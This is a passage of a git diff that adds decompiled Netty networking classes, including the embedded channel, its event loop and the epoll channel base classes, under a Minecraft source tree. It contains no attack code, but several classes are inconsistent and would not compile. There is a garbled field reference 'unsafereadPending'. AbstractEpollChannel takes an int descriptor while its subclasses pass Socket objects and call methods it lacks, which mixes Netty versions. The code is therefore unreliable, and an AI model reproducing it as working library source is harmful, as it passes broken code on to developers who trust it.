+    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { inboundMessages.add(msg); }
+    
+    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause)
+      throws Exception
+    {
+      EmbeddedChannel.this.recordException(cause);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/embedded/EmbeddedChannelId.java b/src/minecraft/io/netty/channel/embedded/EmbeddedChannelId.java
new file mode 100644
index 0000000..b39ab29
--- /dev/null
+++ b/src/minecraft/io/netty/channel/embedded/EmbeddedChannelId.java
@@ -0,0 +1,65 @@
+package io.netty.channel.embedded;
+
+import io.netty.channel.ChannelId;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class EmbeddedChannelId
+  implements ChannelId
+{
+  private static final long serialVersionUID = -251711922203466130L;
+  static final ChannelId INSTANCE = new EmbeddedChannelId();
+  
+  private EmbeddedChannelId() {}
+  
+  public String asShortText()
+  {
+    return toString();
+  }
+  
+  public String asLongText()
+  {
+    return toString();
+  }
+  
+  public int compareTo(ChannelId o)
+  {
+    if ((o instanceof EmbeddedChannelId)) {
+      return 0;
+    }
+    
+    return asLongText().compareTo(o.asLongText());
+  }
+  
+  public int hashCode()
+  {
+    return 0;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    return obj instanceof EmbeddedChannelId;
+  }
+  
+  public String toString()
+  {
+    return "embedded";
+  }
+}
diff --git a/src/minecraft/io/netty/channel/embedded/EmbeddedEventLoop.java b/src/minecraft/io/netty/channel/embedded/EmbeddedEventLoop.java
new file mode 100644
index 0000000..758c0b8
--- /dev/null
+++ b/src/minecraft/io/netty/channel/embedded/EmbeddedEventLoop.java
@@ -0,0 +1,122 @@
+package io.netty.channel.embedded;
+
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.EventLoopGroup;
+import io.netty.util.concurrent.AbstractEventExecutor;
+import io.netty.util.concurrent.Future;
+import java.util.ArrayDeque;
+import java.util.Queue;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class EmbeddedEventLoop
+  extends AbstractEventExecutor
+  implements EventLoop
+{
+  private final Queue<Runnable> tasks = new ArrayDeque(2);
+  
+  EmbeddedEventLoop() {}
+  
+  public void execute(Runnable command) { if (command == null) {
+      throw new NullPointerException("command");
+    }
+    tasks.add(command);
+  }
+  
+  void runTasks() {
+    for (;;) {
+      Runnable task = (Runnable)tasks.poll();
+      if (task == null) {
+        break;
+      }
+      
+      task.run();
+    }
+  }
+  
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  @Deprecated
+  public void shutdown()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean isShuttingDown()
+  {
+    return false;
+  }
+  
+  public boolean isShutdown()
+  {
+    return false;
+  }
+  
+  public boolean isTerminated()
+  {
+    return false;
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    Thread.sleep(unit.toMillis(timeout));
+    return false;
+  }
+  
+  public ChannelFuture register(Channel channel)
+  {
+    return register(channel, new DefaultChannelPromise(channel, this));
+  }
+  
+  public ChannelFuture register(Channel channel, ChannelPromise promise)
+  {
+    channel.unsafe().register(this, promise);
+    return promise;
+  }
+  
+  public boolean inEventLoop()
+  {
+    return true;
+  }
+  
+  public boolean inEventLoop(Thread thread)
+  {
+    return true;
+  }
+  
+  public EventLoop next()
+  {
+    return this;
+  }
+  
+  public EventLoopGroup parent()
+  {
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/channel/embedded/EmbeddedSocketAddress.java b/src/minecraft/io/netty/channel/embedded/EmbeddedSocketAddress.java
new file mode 100644
index 0000000..9c24fe5
--- /dev/null
+++ b/src/minecraft/io/netty/channel/embedded/EmbeddedSocketAddress.java
@@ -0,0 +1,27 @@
+package io.netty.channel.embedded;
+
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+final class EmbeddedSocketAddress
+  extends SocketAddress
+{
+  private static final long serialVersionUID = 1400788804624980619L;
+  
+  EmbeddedSocketAddress() {}
+  
+  public String toString()
+  {
+    return "embedded";
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/AbstractEpollChannel.java b/src/minecraft/io/netty/channel/epoll/AbstractEpollChannel.java
new file mode 100644
index 0000000..a5d74b0
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/AbstractEpollChannel.java
@@ -0,0 +1,262 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.AbstractChannel;
+import io.netty.channel.AbstractChannel.AbstractUnsafe;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.EventLoop;
+import io.netty.util.ReferenceCountUtil;
+import io.netty.util.internal.OneTimeTask;
+import java.net.InetSocketAddress;
+import java.nio.channels.UnresolvedAddressException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractEpollChannel
+  extends AbstractChannel
+{
+  private static final ChannelMetadata DATA = new ChannelMetadata(false);
+  private final int readFlag;
+  protected int flags;
+  protected volatile boolean active;
+  volatile int fd;
+  int id;
+  
+  AbstractEpollChannel(int fd, int flag) {
+    this(null, fd, flag, false);
+  }
+  
+  AbstractEpollChannel(Channel parent, int fd, int flag, boolean active) {
+    super(parent);
+    this.fd = fd;
+    readFlag = flag;
+    flags |= flag;
+    this.active = active;
+  }
+  
+  public boolean isActive()
+  {
+    return active;
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return DATA;
+  }
+  
+  protected void doClose() throws Exception
+  {
+    active = false;
+    
+
+    doDeregister();
+    
+    int fd = this.fd;
+    this.fd = -1;
+    Native.close(fd);
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    doClose();
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof EpollEventLoop;
+  }
+  
+  public boolean isOpen()
+  {
+    return fd != -1;
+  }
+  
+  protected void doDeregister() throws Exception
+  {
+    ((EpollEventLoop)eventLoop()).remove(this);
+  }
+  
+  protected void doBeginRead()
+    throws Exception
+  {
+    unsafereadPending = true;
+    
+    if ((flags & readFlag) == 0) {
+      flags |= readFlag;
+      modifyEvents();
+    }
+  }
+  
+  final void clearEpollIn()
+  {
+    if (isRegistered()) {
+      EventLoop loop = eventLoop();
+      final AbstractEpollUnsafe unsafe = (AbstractEpollUnsafe)unsafe();
+      if (loop.inEventLoop()) {
+        unsafe.clearEpollIn0();
+      }
+      else {
+        loop.execute(new OneTimeTask()
+        {
+          public void run() {
+            if ((!config().isAutoRead()) && (!unsafereadPending))
+            {
+              unsafe.clearEpollIn0();
+            }
+          }
+        });
+      }
+    }
+    else
+    {
+      flags &= (readFlag ^ 0xFFFFFFFF);
+    }
+  }
+  
+  protected final void setEpollOut() {
+    if ((flags & 0x2) == 0) {
+      flags |= 0x2;
+      modifyEvents();
+    }
+  }
+  
+  protected final void clearEpollOut() {
+    if ((flags & 0x2) != 0) {
+      flags &= 0xFFFFFFFD;
+      modifyEvents();
+    }
+  }
+  
+  private void modifyEvents() {
+    if (isOpen()) {
+      ((EpollEventLoop)eventLoop()).modify(this);
+    }
+  }
+  
+  protected void doRegister() throws Exception
+  {
+    EpollEventLoop loop = (EpollEventLoop)eventLoop();
+    loop.add(this);
+  }
+  
+
+
+  protected abstract AbstractEpollUnsafe newUnsafe();
+  
+
+  protected final ByteBuf newDirectBuffer(ByteBuf buf)
+  {
+    return newDirectBuffer(buf, buf);
+  }
+  
+
+
+
+
+  protected final ByteBuf newDirectBuffer(Object holder, ByteBuf buf)
+  {
+    int readableBytes = buf.readableBytes();
+    if (readableBytes == 0) {
+      ReferenceCountUtil.safeRelease(holder);
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    ByteBufAllocator alloc = alloc();
+    if (alloc.isDirectBufferPooled()) {
+      return newDirectBuffer0(holder, buf, alloc, readableBytes);
+    }
+    
+    ByteBuf directBuf = ByteBufUtil.threadLocalDirectBuffer();
+    if (directBuf == null) {
+      return newDirectBuffer0(holder, buf, alloc, readableBytes);
+    }
+    
+    directBuf.writeBytes(buf, buf.readerIndex(), readableBytes);
+    ReferenceCountUtil.safeRelease(holder);
+    return directBuf;
+  }
+  
+  private static ByteBuf newDirectBuffer0(Object holder, ByteBuf buf, ByteBufAllocator alloc, int capacity) {
+    ByteBuf directBuf = alloc.directBuffer(capacity);
+    directBuf.writeBytes(buf, buf.readerIndex(), capacity);
+    ReferenceCountUtil.safeRelease(holder);
+    return directBuf;
+  }
+  
+  protected static void checkResolvable(InetSocketAddress addr) {
+    if (addr.isUnresolved())
+      throw new UnresolvedAddressException(); }
+  
+  protected abstract class AbstractEpollUnsafe extends AbstractChannel.AbstractUnsafe { protected boolean readPending;
+    
+    protected AbstractEpollUnsafe() { super(); }
+    
+
+
+
+
+    abstract void epollInReady();
+    
+
+
+
+
+    void epollRdHupReady() {}
+    
+
+
+
+
+    protected void flush0()
+    {
+      if (isFlushPending()) {
+        return;
+      }
+      super.flush0();
+    }
+    
+
+
+
+    void epollOutReady()
+    {
+      super.flush0();
+    }
+    
+    private boolean isFlushPending() {
+      return (flags & 0x2) != 0;
+    }
+    
+    protected final void clearEpollIn0() {
+      if ((flags & readFlag) != 0) {
+        flags &= (readFlag ^ 0xFFFFFFFF);
+        AbstractEpollChannel.this.modifyEvents();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/AbstractEpollServerChannel.java b/src/minecraft/io/netty/channel/epoll/AbstractEpollServerChannel.java
new file mode 100644
index 0000000..2362a1a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/AbstractEpollServerChannel.java
@@ -0,0 +1,154 @@
+package io.netty.channel.epoll;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.EventLoop;
+import io.netty.channel.ServerChannel;
+import io.netty.channel.unix.FileDescriptor;
+import io.netty.channel.unix.Socket;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractEpollServerChannel
+  extends AbstractEpollChannel
+  implements ServerChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false, 16);
+  
+
+
+  @Deprecated
+  protected AbstractEpollServerChannel(int fd)
+  {
+    this(new Socket(fd), false);
+  }
+  
+
+
+  @Deprecated
+  protected AbstractEpollServerChannel(FileDescriptor fd)
+  {
+    this(new Socket(fd.intValue()));
+  }
+  
+
+
+  @Deprecated
+  protected AbstractEpollServerChannel(Socket fd)
+  {
+    this(fd, isSoErrorZero(fd));
+  }
+  
+  protected AbstractEpollServerChannel(Socket fd, boolean active) {
+    super(null, fd, Native.EPOLLIN, active);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  protected boolean isCompatible(EventLoop loop)
+  {
+    return loop instanceof EpollEventLoop;
+  }
+  
+  protected InetSocketAddress remoteAddress0()
+  {
+    return null;
+  }
+  
+  protected AbstractEpollChannel.AbstractEpollUnsafe newUnsafe()
+  {
+    return new EpollServerSocketUnsafe();
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+
+
+  protected Object filterOutboundMessage(Object msg) throws Exception { throw new UnsupportedOperationException(); }
+  
+  abstract Channel newChildChannel(int paramInt1, byte[] paramArrayOfByte, int paramInt2, int paramInt3) throws Exception;
+  
+  final class EpollServerSocketUnsafe extends AbstractEpollChannel.AbstractEpollUnsafe {
+    EpollServerSocketUnsafe() { super(); }
+    
+
+
+    private final byte[] acceptedAddress = new byte[26];
+    
+
+    public void connect(SocketAddress socketAddress, SocketAddress socketAddress2, ChannelPromise channelPromise)
+    {
+      channelPromise.setFailure(new UnsupportedOperationException());
+    }
+    
+    void epollInReady()
+    {
+      assert (eventLoop().inEventLoop());
+      if (fd().isInputShutdown()) {
+        clearEpollIn0();
+        return;
+      }
+      ChannelConfig config = config();
+      EpollRecvByteAllocatorHandle allocHandle = recvBufAllocHandle();
+      allocHandle.edgeTriggered(isFlagSet(Native.EPOLLET));
+      
+      ChannelPipeline pipeline = pipeline();
+      allocHandle.reset(config);
+      epollInBefore();
+      
+      Throwable exception = null;
+      try
+      {
+        try
+        {
+          do
+          {
+            allocHandle.lastBytesRead(fd().accept(acceptedAddress));
+            if (allocHandle.lastBytesRead() == -1) {
+              break;
+            }
+            
+            allocHandle.incMessagesRead(1);
+            
+            int len = acceptedAddress[0];
+            readPending = false;
+            pipeline.fireChannelRead(newChildChannel(allocHandle.lastBytesRead(), acceptedAddress, 1, len));
+          } while (allocHandle.continueReading());
+        } catch (Throwable t) {
+          exception = t;
+        }
+        allocHandle.readComplete();
+        pipeline.fireChannelReadComplete();
+        
+        if (exception != null) {
+          pipeline.fireExceptionCaught(exception);
+        }
+      } finally {
+        epollInFinally(config);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/epoll/AbstractEpollStreamChannel.java b/src/minecraft/io/netty/channel/epoll/AbstractEpollStreamChannel.java
new file mode 100644
index 0000000..def5949
--- /dev/null
+++ b/src/minecraft/io/netty/channel/epoll/AbstractEpollStreamChannel.java
@@ -0,0 +1,1317 @@
+package io.netty.channel.epoll;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.buffer.CompositeByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.Channel.Unsafe;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.ConnectTimeoutException;
+import io.netty.channel.DefaultFileRegion;
+import io.netty.channel.EventLoop;
+import io.netty.channel.FileRegion;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.socket.DuplexChannel;
+import io.netty.channel.unix.FileDescriptor;
+import io.netty.channel.unix.Socket;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.ThrowableUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.SocketAddress;
+import java.nio.ByteBuffer;
+import java.nio.channels.ClosedChannelException;
+import java.nio.channels.ConnectionPendingException;
+import java.nio.channels.WritableByteChannel;
+import java.util.Queue;
+import java.util.concurrent.Executor;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractEpollStreamChannel
+  extends AbstractEpollChannel
+  implements DuplexChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false, 16);
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(DefaultFileRegion.class) + ')';
+  
+
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(AbstractEpollStreamChannel.class);
+  private static final ClosedChannelException DO_CLOSE_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), AbstractEpollStreamChannel.class, "doClose()");
+  
+  private static final ClosedChannelException CLEAR_SPLICE_QUEUE_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), AbstractEpollStreamChannel.class, "clearSpliceQueue()");
+  
+
+  private static final ClosedChannelException SPLICE_TO_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), AbstractEpollStreamChannel.class, "spliceTo(...)");
+  
+
+  private static final ClosedChannelException FAIL_SPLICE_IF_CLOSED_CLOSED_CHANNEL_EXCEPTION = (ClosedChannelException)ThrowableUtil.unknownStackTrace(new ClosedChannelException(), AbstractEpollStreamChannel.class, "failSpliceIfClosed(...)");
+  
+
+  private ChannelPromise connectPromise;
+  
+
+  private ScheduledFuture<?> connectTimeoutFuture;
+  
+
+  private SocketAddress requestedRemoteAddress;
+  
+
+  private Queue<SpliceInTask> spliceQueue;
+  
+  private FileDescriptor pipeIn;
+  
+  private FileDescriptor pipeOut;
+  
+  private WritableByteChannel byteChannel;
+  
+
+  @Deprecated
+  protected AbstractEpollStreamChannel(Channel parent, int fd)
+  {
+    this(parent, new Socket(fd));
+  }
+  
+
+
+  @Deprecated
+  protected AbstractEpollStreamChannel(int fd)
+  {
+    this(new Socket(fd));
+  }
+  
+
+
+  @Deprecated
+  protected AbstractEpollStreamChannel(FileDescriptor fd)
+  {
+    this(new Socket(fd.intValue()));
+  }
+  
+
+
+  @Deprecated
+  protected AbstractEpollStreamChannel(Socket fd)
+  {
+    this(fd, isSoErrorZero(fd));
+  }
+  
+  protected AbstractEpollStreamChannel(Channel parent, Socket fd) {
+    super(parent, fd, Native.EPOLLIN, true);
+    
+    flags |= Native.EPOLLRDHUP;
+  }
+  
+  protected AbstractEpollStreamChannel(Socket fd, boolean active) {
+    super(null, fd, Native.EPOLLIN, active);
+    
+    flags |= Native.EPOLLRDHUP;
+  }
+  
+  protected AbstractEpollChannel.AbstractEpollUnsafe newUnsafe()
+  {
+    return new EpollStreamUnsafe();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ChannelFuture spliceTo(AbstractEpollStreamChannel ch, int len)
+  {
+    return spliceTo(ch, len, newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ChannelFuture spliceTo(AbstractEpollStreamChannel ch, int len, ChannelPromise promise)
+  {
+    if (ch.eventLoop() != eventLoop()) {
+      throw new IllegalArgumentException("EventLoops are not the same.");
+    }
+    if (len < 0) {
+      throw new IllegalArgumentException("len: " + len + " (expected: >= 0)");
+    }
+    if ((ch.config().getEpollMode() != EpollMode.LEVEL_TRIGGERED) || (config().getEpollMode() != EpollMode.LEVEL_TRIGGERED))
+    {
+      throw new IllegalStateException("spliceTo() supported only when using " + EpollMode.LEVEL_TRIGGERED);
+    }
+    ObjectUtil.checkNotNull(promise, "promise");
+    if (!isOpen()) {
+      promise.tryFailure(SPLICE_TO_CLOSED_CHANNEL_EXCEPTION);
+    } else {
+      addToSpliceQueue(new SpliceInChannelTask(ch, len, promise));
+      failSpliceIfClosed(promise);
+    }
+    return promise;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ChannelFuture spliceTo(FileDescriptor ch, int offset, int len)
+  {
+    return spliceTo(ch, offset, len, newPromise());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ChannelFuture spliceTo(FileDescriptor ch, int offset, int len, ChannelPromise promise)
+  {
+    if (len < 0) {
+      throw new IllegalArgumentException("len: " + len + " (expected: >= 0)");
+    }
+    if (offset < 0) {
+      throw new IllegalArgumentException("offset must be >= 0 but was " + offset);
+    }
+    if (config().getEpollMode() != EpollMode.LEVEL_TRIGGERED) {
+      throw new IllegalStateException("spliceTo() supported only when using " + EpollMode.LEVEL_TRIGGERED);
+    }
+    ObjectUtil.checkNotNull(promise, "promise");
+    if (!isOpen()) {
+      promise.tryFailure(SPLICE_TO_CLOSED_CHANNEL_EXCEPTION);
+    } else {
+      addToSpliceQueue(new SpliceFdTask(ch, offset, len, promise));
+      failSpliceIfClosed(promise);
+    }
+    return promise;
+  }
+  
+  private void failSpliceIfClosed(ChannelPromise promise) {
+    if (!isOpen())
+    {
+
+      if (promise.tryFailure(FAIL_SPLICE_IF_CLOSED_CLOSED_CHANNEL_EXCEPTION)) {
+        eventLoop().execute(new Runnable()
+        {
+          public void run()
+          {
+            AbstractEpollStreamChannel.this.clearSpliceQueue();
+          }
+        });
+      }
+    }
+  }
+  
+
+
+  private boolean writeBytes(ChannelOutboundBuffer in, ByteBuf buf, int writeSpinCount)
+    throws Exception
+  {
+    int readableBytes = buf.readableBytes();
+    if (readableBytes == 0) {
+      in.remove();
+      return true;
+    }
+    
+    if ((buf.hasMemoryAddress()) || (buf.nioBufferCount() == 1)) {
+      int writtenBytes = doWriteBytes(buf, writeSpinCount);
+      in.removeBytes(writtenBytes);
+      return writtenBytes == readableBytes;
+    }
+    ByteBuffer[] nioBuffers = buf.nioBuffers();
+    return writeBytesMultiple(in, nioBuffers, nioBuffers.length, readableBytes, writeSpinCount);
+  }
+  
+
+  private boolean writeBytesMultiple(ChannelOutboundBuffer in, IovArray array, int writeSpinCount)
+    throws IOException
+  {
+    long expectedWrittenBytes = array.size();
+    long initialExpectedWrittenBytes = expectedWrittenBytes;
+    
+    int cnt = array.count();
+    
+    assert (expectedWrittenBytes != 0L);
+    assert (cnt != 0);
+    
+    boolean done = false;
+    int offset = 0;
+    int end = offset + cnt;
+    for (int i = writeSpinCount - 1; i >= 0; i--) {
+      long localWrittenBytes = fd().writevAddresses(array.memoryAddress(offset), cnt);
+      if (localWrittenBytes == 0L) {
+        break;
+      }
+      expectedWrittenBytes -= localWrittenBytes;
+      
+      if (expectedWrittenBytes == 0L)
+      {
+        done = true;
+        break;
+      }
+      do
+      {
+        long bytes = array.processWritten(offset, localWrittenBytes);
+        if (bytes == -1L) {
+          break;
+        }
+        
+        offset++;
+        cnt--;
+        localWrittenBytes -= bytes;
+      }
+      while ((offset < end) && (localWrittenBytes > 0L));
+    }
+    in.removeBytes(initialExpectedWrittenBytes - expectedWrittenBytes);
+    return done;
+  }
+  
+
+  private boolean writeBytesMultiple(ChannelOutboundBuffer in, ByteBuffer[] nioBuffers, int nioBufferCnt, long expectedWrittenBytes, int writeSpinCount)
+    throws IOException
+  {
+    assert (expectedWrittenBytes != 0L);
+    long initialExpectedWrittenBytes = expectedWrittenBytes;
+    
+    boolean done = false;
+    int offset = 0;
+    int end = offset + nioBufferCnt;
+    for (int i = writeSpinCount - 1; i >= 0; i--) {
+      long localWrittenBytes = fd().writev(nioBuffers, offset, nioBufferCnt);
+      if (localWrittenBytes == 0L) {
+        break;
+      }
+      expectedWrittenBytes -= localWrittenBytes;
+      
+      if (expectedWrittenBytes == 0L)
+      {
+        done = true;
+        break;
+      }
+      do {
+        ByteBuffer buffer = nioBuffers[offset];
+        int pos = buffer.position();
+        int bytes = buffer.limit() - pos;
+        if (bytes > localWrittenBytes) {
+          buffer.position(pos + (int)localWrittenBytes);
+          
+          break;
+        }
+        offset++;
+        nioBufferCnt--;
+        localWrittenBytes -= bytes;
+      }
+      while ((offset < end) && (localWrittenBytes > 0L));
+    }
+    
+    in.removeBytes(initialExpectedWrittenBytes - expectedWrittenBytes);
+    return done;
+  }
+  
+
+
+
+
+
+  private boolean writeDefaultFileRegion(ChannelOutboundBuffer in, DefaultFileRegion region, int writeSpinCount)
+    throws Exception
+  {
+    long regionCount = region.count();
+    if (region.transferred() >= regionCount) {
+      in.remove();
+      return true;
+    }
+    
+    long baseOffset = region.position();
+    boolean done = false;
+    long flushedAmount = 0L;
+    
+    for (int i = writeSpinCount - 1; i >= 0; i--) {
+      long offset = region.transferred();
+      long localFlushedAmount = Native.sendfile(fd().intValue(), region, baseOffset, offset, regionCount - offset);
+      
+      if (localFlushedAmount == 0L) {
+        break;
+      }
+      
+      flushedAmount += localFlushedAmount;
+      if (region.transfered() >= regionCount) {
+        done = true;
+        break;
+      }
+    }
+    
+    if (flushedAmount > 0L) {
+      in.progress(flushedAmount);
+    }
+    
+    if (done) {
+      in.remove();
+    }
+    return done;
+  }
+  
+  private boolean writeFileRegion(ChannelOutboundBuffer in, FileRegion region, int writeSpinCount) throws Exception
+  {
+    if (region.transferred() >= region.count()) {
+      in.remove();
+      return true;
+    }
+    
+    boolean done = false;
+    long flushedAmount = 0L;
+    
+    if (byteChannel == null) {
+      byteChannel = new SocketWritableByteChannel(null);
+    }
+    for (int i = writeSpinCount - 1; i >= 0; i--) {
+      long localFlushedAmount = region.transferTo(byteChannel, region.transferred());
+      if (localFlushedAmount == 0L) {
+        break;
+      }
+      
+      flushedAmount += localFlushedAmount;
+      if (region.transferred() >= region.count()) {
+        done = true;
+        break;
+      }
+    }
+    
+    if (flushedAmount > 0L) {
+      in.progress(flushedAmount);
+    }
+    
+    if (done) {
+      in.remove();
+    }
+    return done;
+  }
+  
+  protected void doWrite(ChannelOutboundBuffer in) throws Exception
+  {
+    int writeSpinCount = config().getWriteSpinCount();
+    for (;;) {
+      int msgCount = in.size();
+      
+      if (msgCount == 0)
+      {
+        clearFlag(Native.EPOLLOUT);
+        
+        return;
+      }
+      
+
+      if ((msgCount > 1) && ((in.current() instanceof ByteBuf)) ? 
+        !doWriteMultiple(in, writeSpinCount) : 
+        
+
+
+
+
+
+
+
+        !doWriteSingle(in, writeSpinCount)) {
+        break;
+      }
+    }
+    
+
+
+
+    setFlag(Native.EPOLLOUT);
+  }
+  
+  protected boolean doWriteSingle(ChannelOutboundBuffer in, int writeSpinCount) throws Exception
+  {
+    Object msg = in.current();
+    if ((msg instanceof ByteBuf)) {
+      if (!writeBytes(in, (ByteBuf)msg, writeSpinCount))
+      {
+
+        return false;
+      }
+    } else if ((msg instanceof DefaultFileRegion)) {
+      if (!writeDefaultFileRegion(in, (DefaultFileRegion)msg, writeSpinCount))
+      {
+
+        return false;
+      }
+    } else if ((msg instanceof FileRegion)) {
+      if (!writeFileRegion(in, (FileRegion)msg, writeSpinCount))
+      {
+
+        return false;
+      }
+    } else if ((msg instanceof SpliceOutTask)) {
+      if (!((SpliceOutTask)msg).spliceOut()) {
+        return false;
+      }
+      in.remove();
+    }
+    else {
+      throw new Error();
+    }
+    
+    return true;
+  }
+  
+  private boolean doWriteMultiple(ChannelOutboundBuffer in, int writeSpinCount) throws Exception {
+    if (PlatformDependent.hasUnsafe())
+    {
+      IovArray array = ((EpollEventLoop)eventLoop()).cleanArray();
+      in.forEachFlushedMessage(array);
+      
+      int cnt = array.count();
+      if (cnt >= 1)
+      {
+        if (!writeBytesMultiple(in, array, writeSpinCount))
+        {
+
+          return false;
+        }
+      } else {
+        in.removeBytes(0L);
+      }
+    } else {
+      ByteBuffer[] buffers = in.nioBuffers();
+      int cnt = in.nioBufferCount();
+      if (cnt >= 1)
+      {
+        if (!writeBytesMultiple(in, buffers, cnt, in.nioBufferSize(), writeSpinCount))
+        {
+
+          return false;
+        }
+      } else {
+        in.removeBytes(0L);
+      }
+    }
+    
+    return true;
+  }
+  
+  protected Object filterOutboundMessage(Object msg)
+  {
+    if ((msg instanceof ByteBuf)) {
+      ByteBuf buf = (ByteBuf)msg;
+      if ((!buf.hasMemoryAddress()) && ((PlatformDependent.hasUnsafe()) || (!buf.isDirect()))) {
+        if ((buf instanceof CompositeByteBuf))
+        {
+
+          CompositeByteBuf comp = (CompositeByteBuf)buf;
+          if ((!comp.isDirect()) || (comp.nioBufferCount() > Native.IOV_MAX))
+          {
+            buf = newDirectBuffer(buf);
+            assert (buf.hasMemoryAddress());
+          }
+        }
+        else
+        {
+          buf = newDirectBuffer(buf);
+          assert (buf.hasMemoryAddress());
+        }
+      }
+      return buf;
+    }
+    
+    if (((msg instanceof FileRegion)) || ((msg instanceof SpliceOutTask))) {
+      return msg;
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+  private void shutdownOutput0(ChannelPromise promise)
+  {
+    try {
+      fd().shutdown(false, true);
+      promise.setSuccess();
+    } catch (Throwable cause) {
+      promise.setFailure(cause);
+    }
+  }
+  
+  private void shutdownInput0(ChannelPromise promise) {
+    try {
+      fd().shutdown(true, false);
+      promise.setSuccess();
+    } catch (Throwable cause) {
+      promise.setFailure(cause);
+    }
+  }
+  
+  private void shutdown0(ChannelPromise promise) {
+    try {
+      fd().shutdown(true, true);
+      promise.setSuccess();
+    } catch (Throwable cause) {
+      promise.setFailure(cause);
+    }
+  }
+  
+  public boolean isOutputShutdown()
+  {
+    return fd().isOutputShutdown();
+  }
+  
+  public boolean isInputShutdown()
+  {
+    return fd().isInputShutdown();
+  }
+  
+  public boolean isShutdown()
+  {
+    return fd().isShutdown();
+  }
+  
+  public ChannelFuture shutdownOutput()
+  {
+    return shutdownOutput(newPromise());
+  }
+  
+  public ChannelFuture shutdownOutput(final ChannelPromise promise)
+  {
+    Executor closeExecutor = ((EpollStreamUnsafe)unsafe()).prepareToClose();
+    if (closeExecutor != null) {
+      closeExecutor.execute(new Runnable()
+      {
+        public void run() {
+          AbstractEpollStreamChannel.this.shutdownOutput0(promise);
+        }
+      });
+    } else {
+      EventLoop loop = eventLoop();
+      if (loop.inEventLoop()) {
